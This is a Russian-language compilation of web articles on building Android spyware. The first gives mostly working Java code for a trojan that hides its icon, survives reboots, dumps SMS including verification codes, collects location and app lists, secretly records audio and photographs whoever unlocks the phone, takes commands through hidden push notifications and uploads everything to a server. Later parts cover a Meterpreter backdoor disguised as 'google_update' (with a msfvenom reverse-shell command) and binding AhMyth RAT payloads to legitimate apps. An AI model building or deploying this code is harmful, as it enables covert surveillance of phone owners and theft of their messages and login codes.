Как написать вирусы шпион для андроид

Как создать троян для Андроид

Содержание

  • 1 Как написать троян на Андроид
    • 1.1 Каркас
    • 1.2 Информация о местоположении
    • 1.3 Список установленных приложений
    • 1.4 Дамп СМС
    • 1.5 Скрытая запись аудио
    • 1.6 Скрытая съемка
    • 1.7 Складываем все вместе
    • 1.8 Задания по расписанию
    • 1.9 Снимок при включении экрана
    • 1.10 Запуск при загрузке
    • 1.11 Запись аудио по команде
    • 1.12 Отправка данных на сервер
  • 2 Выводы

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Еще по теме: Как вирусы попадают в Google Play Market

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.


Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<usespermission android:name=«android.permission.ACCESS_COARSE_LOCATION»/>

<usespermission android:name=«android.permission.ACCESS_FINE_LOCATION» />

<usespermission android:name=«android.permission.INTERNET» />

<usespermission android:name=«android.permission.CAMERA» />

<usespermission android:name=«android.permission.RECORD_AUDIO» />

<usespermission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/>

<usespermission android:name=«android.permission.READ_PHONE_STATE» />

<usespermission android:name=«android.permission.PROCESS_OUTGOING_CALLS» />

<usespermission android:name=«android.permission.READ_CONTACTS» />

<usespermission android:name=«android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

    android:name=«com.example.app.MainActivity»

    android:label=«@string/app_name» >

    <intentfilter>

        <action android:name=«android.intent.action.MAIN» />

        <category android:name=«android.intent.category.LAUNCHER» />

    </intentfilter>

</activity>

<service

    android:name=«com.example.app.MainService»

    android:enabled=«true»

    android:exported=«false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState)

    // Запускаем сервис

    startService(new Intent(this, MainService.class));

    // Отключаем Activtiy

    ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Location getLastLocation(Context context) {

    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;

    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

    long NetLocationTime = 0;

    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

    Location loc;

    if ( 0 < GPSLocationTime NetLocationTime ) {

        loc = locationGPS;

    } else {

        loc = locationNet;

    }

    if (loc != null) {

        return loc;

    } else {

        return null;

    }

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

    outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude);

    outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

void dumpSMS(Context context) {

    String appsFile = context.getApplicationInfo().dataDir + «/apps»

    final PackageManager pm = context.getPackageManager();

    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

    try {

        PrintWriter pw = Files.writeLines(appsFile);

        for (ApplicationInfo packageInfo : packages) {

            if (!isSystemPackage(packageInfo))

                pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName);

        }

        pw.close();

    } catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

void dumpSMS(Context context, String file, String box) {

    SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

    Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

    try {

        PrintWriter pw = Files.writeLines(file);

        if (cursor != null && cursor.moveToFirst()) {

            do {

                String address = null;

                String date = null;

                String body = null;

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

                    switch (cursor.getColumnName(idx)) {

                        case «address»:

                            address = cursor.getString(idx);

                            break;

                        case «date»:

                            date = cursor.getString(idx);

                            break;

                        case «body»:

                            body = cursor.getString(idx);

                    }

                }

                if (box.equals(«inbox»)) {

                    pw.println(«From: « + address);

                } else {

                    pw.println(«To: « + address);

                }

                String dateString = formatter.format(new Date(Long.valueOf(date)));

                pw.println(«Date: « + dateString);

                if (body != null) {

                    pw.println(«Body: « + body.replace(‘n’, ‘ ‘));

                } else {

                    pw.println(«Body: «);

                }

                pw.println();

            } while (cursor.moveToNext());

        }

        pw.close();

        cursor.close();

    } catch (Exception e) {}

}

Использовать его следует так:

// Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

// Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2017.02.24 06:49:55

Body: G732583 is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

void recordAudio(String file, final int time) {

    MediaRecorder recorder = new MediaRecorder();

    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    recorder.setOutputFile(file);

    try {

        recorder.prepare();

    } catch (IOException e) {}

    recorder.start();

    Thread timer = new Thread(new Runnable() {

        @Override

        public void run() {

            try {

                Thread.sleep(time * 1000);

            } catch (InterruptedException e) {

                Log.d(TAG, «timer interrupted»);

            } finally {

                recorder.stop();

                recorder.release();

            }

        }

    });

    timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.3gp», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

public class SilentCamera2 {

    private Context context;

    private CameraDevice device;

    private ImageReader imageReader;

    private CameraCaptureSession session;

    private SurfaceTexture surfaceTexture;

    private CameraCharacteristics characteristics;

    private Surface previewSurface;

    private CaptureRequest.Builder request;

    private Handler handler;

    private String photosDir;

    public SilentCamera2(Context context) {

        this.context = context;

    }

    private final CameraDevice.StateCallback mStateCallback =

            new CameraDevice.StateCallback() {

        @Override

        public void onOpened(CameraDevice cameraDevice) {

            device = cameraDevice;

            try {

                surfaceTexture = new SurfaceTexture(10);

                previewSurface = new Surface(surfaceTexture);

                List<Surface> surfaceList = new ArrayList<>();

                surfaceList.add(previewSurface);

                surfaceList.add(imageReader.getSurface());

                cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

            } catch (Exception e) {

            }

        }

        @Override

        public void onDisconnected(CameraDevice cameraDevice) {

        }

        @Override

        public void onError(CameraDevice cameraDevice, int error) {

        }

    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =

            new CameraCaptureSession.StateCallback() {

                @Override

                public void onConfigured(CameraCaptureSession captureSession) {

                    session = captureSession;

                    try {

                        request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

                        request.addTarget(previewSurface);

                        request.set(CaptureRequest.CONTROL_AF_TRIGGER,

                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

                    } catch (Exception e) {

                    }

                }

                @Override

                public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =

            new CameraCaptureSession.CaptureCallback() {

        @Override

        public void onCaptureCompleted(CameraCaptureSession session,

                                     CaptureRequest request,

                                     TotalCaptureResult result) {

        }

    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

            new ImageReader.OnImageAvailableListener() {

        @Override

        public void onImageAvailable(ImageReader reader) {

            DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

            Date date = new Date();

            String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

            File file = new File(filename);

            Image image = imageReader.acquireLatestImage();

            try {

                ByteBuffer buffer = image.getPlanes()[0].getBuffer();

                byte[] bytes = new byte[buffer.remaining()];

                buffer.get(bytes);

                OutputStream os = new FileOutputStream(file);

                os.write(bytes);

                image.close();

                os.close();

            } catch (Exception e) {

                e.getStackTrace();

            }

            closeCamera();

        }

    };

    private void takePicture() {

        request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

        request.addTarget(imageReader.getSurface());

        try {

            session.capture(request.build(), mCaptureCallback, handler);

        } catch (CameraAccessException e) {

        }

    }

    private void closeCamera() {

        try {

            if (null != session) {

                session.abortCaptures();

                session.close();

                session = null;

            }

            if (null != device) {

                device.close();

                device = null;

            }

            if (null != imageReader) {

                imageReader.close();

                imageReader = null;

            }

            if (null != surfaceTexture) {

                surfaceTexture.release();

            }

        } catch (Exception e) {

        }

    }

    public boolean takeSilentPhoto(String cam, String dir) {

        photosDir = dir;

        int facing;

        switch (cam) {

            case «front»:

                facing = CameraCharacteristics.LENS_FACING_FRONT;

                break;

            case «back»:

                facing = CameraCharacteristics.LENS_FACING_BACK;

                break;

            default:

                return false;

        }

        CameraManager manager = (CameraManager)

                context.getSystemService(Context.CAMERA_SERVICE);

        String cameraId = null;

        characteristics = null;

        try {

            for (String id : manager.getCameraIdList()) {

                characteristics = manager.getCameraCharacteristics(id);

                Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

                if (currentFacing != null && currentFacing == facing) {

                    cameraId = id;

                    break;

                }

            }

        } catch (Exception e) {

            return false;

        }

        HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

        handlerThread.start();

        handler = new Handler(handlerThread.getLooper());

        imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

        imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

        try {

            manager.openCamera(cameraId, mStateCallback, handler);

            // Ждем фокусировку

            Thread.sleep(1000);

            takePicture();

        } catch (Exception e) {

            Log.d(TAG, «Can’t open camera: « + e.toString());

            return false;

        }

        return true;

    }

    private int getOrientation() {

        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

        int rotation = wm.getDefaultDisplay().getRotation();

        int deviceOrientation = 0;

        switch(rotation){

            case Surface.ROTATION_0:

                deviceOrientation = 0;

                break;

            case Surface.ROTATION_90:

                deviceOrientation = 90;

                break;

            case Surface.ROTATION_180:

                deviceOrientation = 180;

                break;

            case Surface.ROTATION_270:

                deviceOrientation = 270;

                break;

        }

        int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);

        deviceOrientation = (deviceOrientation + 45) / 90 * 90;

        boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;

        if (facingFront) deviceOrientation = deviceOrientation;

        return (sensorOrientation + deviceOrientation + 360) % 360;

    }

}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + «/camera/»

camera.takeSilentPhoto(«front», cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Еще по теме: Как создать RAT для Android

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {

    public static void set(Context context) {

        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, Alarm.class);

        PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

        am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);

    }

    @Override

    public void onReceive(Context context, Intent intent) {

        // Твой код здесь

    }

}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        // Ваш код здесь

    }

}

И добавьте в манифест следующие строки:

<receiver android:name=«com.example.app.ScreenOnReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.ACTION_SCREEN_ON» />

    </intentfilter>

</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {

    @Override

    void onReceive(Context context, Intent intent) {

        Intent serviceIntent = new Intent(this, MainService.class);

        startService(serviceIntent);

    }

}

И опять же добавим его в манифест:

<receiver android:name=«com.example.BootReceiver»>

    <intentfilter>

        <action android:name=«android.intent.action.BOOT_COMPLETED» />

    </intentfilter>

</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = «http://example.com/cmd»

OkHttpClient client = new OkHttpClient();

Request request = new Request.Builder().url(url).build();

while (true) {

    Response response = client.newCall(request).execute();

    String cmd = response.body().string();

    cmd = cmd.trim()

    if (cmd.equals(«record»)) {

        // Делаем аудиозапись

    }

    try {

        Thread.sleep(60 * 1000);

    } catch (InterruptedException e) {}

}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {

    @Override

    public void onCreate() {

        super.onCreate()

        OneSignal.startInit(this).init()

    }

}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {

    @Override

    protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {

        String cmd = receivedResult.payload.body.trim()

        if (cmd.equals(«record»)) {

            // Делаем аудиозапись

        }

        // Не показывать уведомление

        return true

    }

}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service

    android:name=«org.antrack.app.service.OSService»

    android:exported=«false»>

    <intentfilter>

        <action android:name=«com.onesignal.NotificationExtender» />

    </intentfilter>

</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

    OkHttpClient client = new OkHttpClient();

    RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

        .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

        .build();

    Request request = new Request.Builder().url(«http://com.example.com/upload»)

        .post(requestBody).build();

    Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду!  Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Еще по теме: Где скачать вирусы

Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!

Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.

Что нам понадобится:

Android Studio и Android SDK офф_сайт(

Ссылка скрыта от гостей

)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео

Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

1.png

2.png

это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

3.png

На этом подготовительный этап завершен
Подключить genymotion к Android Studio
Подключить реальный смартфон к Android Studio

Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

4.png

Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

5.png

Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

6.png

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )

7.png

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)

8.png

9.png

Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)

10.png

11.png

Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

12.jpg

13.jpg

Скопируем разрешение с манифеста в наш проект

14.png

15.png

Далее осталось подписать наше приложения.

16.png

17.png

Подписали) Ну что ж давайте протестим.))

18.png

19.jpg

20.jpg

21.jpg

22.jpg

На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.

AhMyth. Создаем RAT для Android с помощью простого конструктора

Содержание статьи

Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, знаменитый TeamViewer, а могут устанавливаться злодеями в глубокой тайне от пользователя. В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в настоящее время находится на стадии бета-версии. Программа ориентирована на пользователей Windows, но на GitHub можно найти исходники и для Unix-подобных платформ.

AhMyth RAT состоит из двух компонентов.

Серверное приложение, с помощью которого можно управлять зараженным устройством и генерировать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном в GitHub для создания простых графических приложений.

Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному устройству. То есть наш APK будет выполнять функции бэкдора.

Установка AhMyth RAT

Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.

Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.

Создаем зараженный APK

Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.

Вкладка с конструктором APK

Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

WARNING

Помни, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом.

Без использования дополнительной опции Bind With Another Apk ты сгенерируешь мобильное приложение только с вредоносным кодом. И это практически бесполезно, поскольку заставить юзера установить такую программу можно разве что под пытками.

Но есть проверенный способ создания малвари, который используют все продвинутые вирмейкеры: найти в интернете какой-нибудь APK и склеить его с вредоносом. Для этого поставь флажок Bind With Another Apk, выбери нужный APK и укажи метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку C:Users AhMythOutput .

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Источник

5 самых опасных вирусов для Android

Triada

Начнём со «свежака» — Триаду сегодня можно считать самым новым и «пуленепробиваемым» вирусом для смартфонов. Его и обнаружили-то только в марте 2017 года.

